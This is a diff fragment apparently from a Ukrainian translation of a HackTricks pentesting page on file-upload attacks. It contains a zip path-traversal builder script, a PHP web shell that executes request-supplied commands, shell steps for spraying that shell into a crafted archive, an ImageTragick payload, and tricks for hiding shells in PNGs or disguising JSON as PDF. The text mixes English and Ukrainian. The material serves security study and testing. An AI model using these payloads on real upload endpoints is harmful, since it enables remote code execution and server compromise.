Крім того, **symlink trick with evilarc** — це варіант. Якщо метою є отримати доступ до файлу на кшталт `/flag.txt`, слід створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
|
||||
|
||||
Нижче наведено приклад Python-коду, який використовується для створення шкідливого zip-файлу:
|
||||
Нижче наведено приклад Python-коду, що використовується для створення шкідливого zip-файлу:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -254,11 +284,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Зловживання стисненням для file spraying**
|
||||
**Abusing compression for file spraying**
|
||||
|
||||
Для більш детальної інформації **перегляньте оригінальний пост на**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Для детальнішої інформації **перегляньте оригінальний допис на**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Створення PHP Shell**: PHP-код пишеться для виконання команд, переданих через змінну `$_REQUEST`.
|
||||
1. **Creating a PHP Shell**: PHP-код записано для виконання команд, переданих через змінну `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -268,14 +298,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying та створення zip-архіву**: Створюється кілька файлів і формується zip-архів, що містить ці файли.
|
||||
2. **File Spraying and Compressed File Creation**: Створюються кілька файлів і збирається zip-архів, що містить ці файли.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Зміни за допомогою Hex Editor або vi**: Імена файлів всередині zip змінюються за допомогою vi або hex editor, замінюючи "xxA" на "../" для переходу між директоріями.
|
||||
3. **Modification with a Hex Editor or vi**: Імена файлів всередині zip змінюються за допомогою vi або hex-редактора, замінюючи "xxA" на "../" для переходу між директоріями.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -285,7 +315,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість **(ImageMagick , 7.0.1-1)** (з [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Завантажте цей вміст з розширенням зображення, щоб exploit the vulnerability **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -294,31 +324,31 @@ pop graphic-context
|
||||
```
|
||||
## Вбудовування PHP Shell у PNG
|
||||
|
||||
Вбудовування PHP Shell у chunk IDAT файлу PNG може ефективно обходити певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP Shell залишатися неушкодженим після цих операцій є значною перевагою для певних сценаріїв використання.
|
||||
Вбудовування PHP shell у IDAT chunk PNG-файлу може ефективно обходити певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися неушкодженим цими операціями є значною перевагою для певних випадків використання.
|
||||
|
||||
Детальний розгляд цієї техніки, включно з методологією та потенційними застосуваннями, наведено в статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає всебічне розуміння процесу та його наслідків.
|
||||
Детальний розгляд цієї техніки, включно з методологією та потенційними застосуваннями, наведено в наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає всебічне розуміння процесу та його наслідків.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
Детальніше: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
|
||||
Polyglot файли слугують унікальним інструментом у кібербезпеці, виступаючи як камелеони, що можуть одночасно коректно існувати у кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який працює одночасно як GIF та RAR архів. Такі файли не обмежуються цим поєднанням; можливі й комбінації на кшталт GIF та JS або PPT та JS.
|
||||
Polyglot files слугують унікальним інструментом у кібербезпеці, поводячись як хамелеони, які можуть коректно існувати одночасно у кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує і як GIF, і як RAR-архів. Такі файли не обмежуються цією комбінацією; можливі й поєднання на кшталт GIF і JS або PPT і JS.
|
||||
|
||||
Головна користь polyglot файлів полягає в їхній здатності обходити заходи безпеки, що фільтрують файли за типом. Звичайна практика в багатьох застосунках — дозволяти лише певні типи файлів для завантаження, наприклад JPEG, GIF або DOC, щоб знизити ризик завантаження потенційно небезпечних форматів (наприклад JS, PHP або Phar). Однак polyglot, відповідаючи структурним критеріям кількох форматів, може непомітно обійти ці обмеження.
|
||||
Основна користь polyglot files полягає в їхній здатності обходити механізми безпеки, що сканують файли за типом. Звичайна практика в різних додатках — дозволяти для завантаження лише певні типи файлів, наприклад JPEG, GIF або DOC, щоб зменшити ризик потенційно шкідливих форматів (наприклад, JS, PHP або Phar). Однак polyglot, відповідаючи структурним критеріям кількох форматів файлів, може непомітно обійти ці обмеження.
|
||||
|
||||
Незважаючи на адаптивність, polyglot файли мають обмеження. Наприклад, хоча polyglot може одночасно бути PHAR і JPEG, успішність його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, сама по собі структурна подвійність polyglot може не забезпечити успішне завантаження.
|
||||
Незважаючи на їхню адаптивність, polyglots мають обмеження. Наприклад, хоча polyglot може одночасно бути PHAR-файлом (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо контролює допустимі розширення, сама по собі структурна подвійність polyglot може не забезпечити дозволу на завантаження.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
Детальніше: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
### Завантаження валідних JSON, ніби це PDF
|
||||
|
||||
Як уникнути виявлення типу файлу, завантаживши валідний JSON файл навіть якщо це не дозволено, підробивши PDF файл (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Як уникнути виявлення типу файлу, завантаживши валідний JSON-файл навіть якщо це не дозволено, підробивши PDF-файл (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Поки магічні байти `%PDF` присутні в перших 1024 байтах — файл вважається дійсним PDF (див. приклад у пості)
|
||||
- **`pdflib` library**: Додайте фейковий PDF формат всередину поля JSON, щоб бібліотека вирішила, що це PDF (див. приклад у пості)
|
||||
- **`file` binary**: Воно може читати до 1048576 байтів з файлу. Просто створіть JSON більший за цей розмір, щоб воно не могло розпарсити вміст як json, а потім всередині JSON помістіть початкову частину реального PDF — і воно вважатиме його PDF
|
||||
- **`mmmagic` library**: доки magic-байти `%PDF` знаходяться в перших 1024 байтах, це вважається валідним (див. приклад у пості)
|
||||
- **`pdflib` library**: додайте фейковий PDF-формат всередину поля JSON так, щоб бібліотека подумала, що це pdf (див. приклад у пості)
|
||||
- **`file` binary**: він може читати до 1048576 байтів з файлу. Просто створіть JSON більший за цей розмір, щоб він не зміг розпарсити вміст як JSON, а потім всередині JSON вставте початкову частину реального PDF — і він вважатиме це PDF
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -328,5 +358,8 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user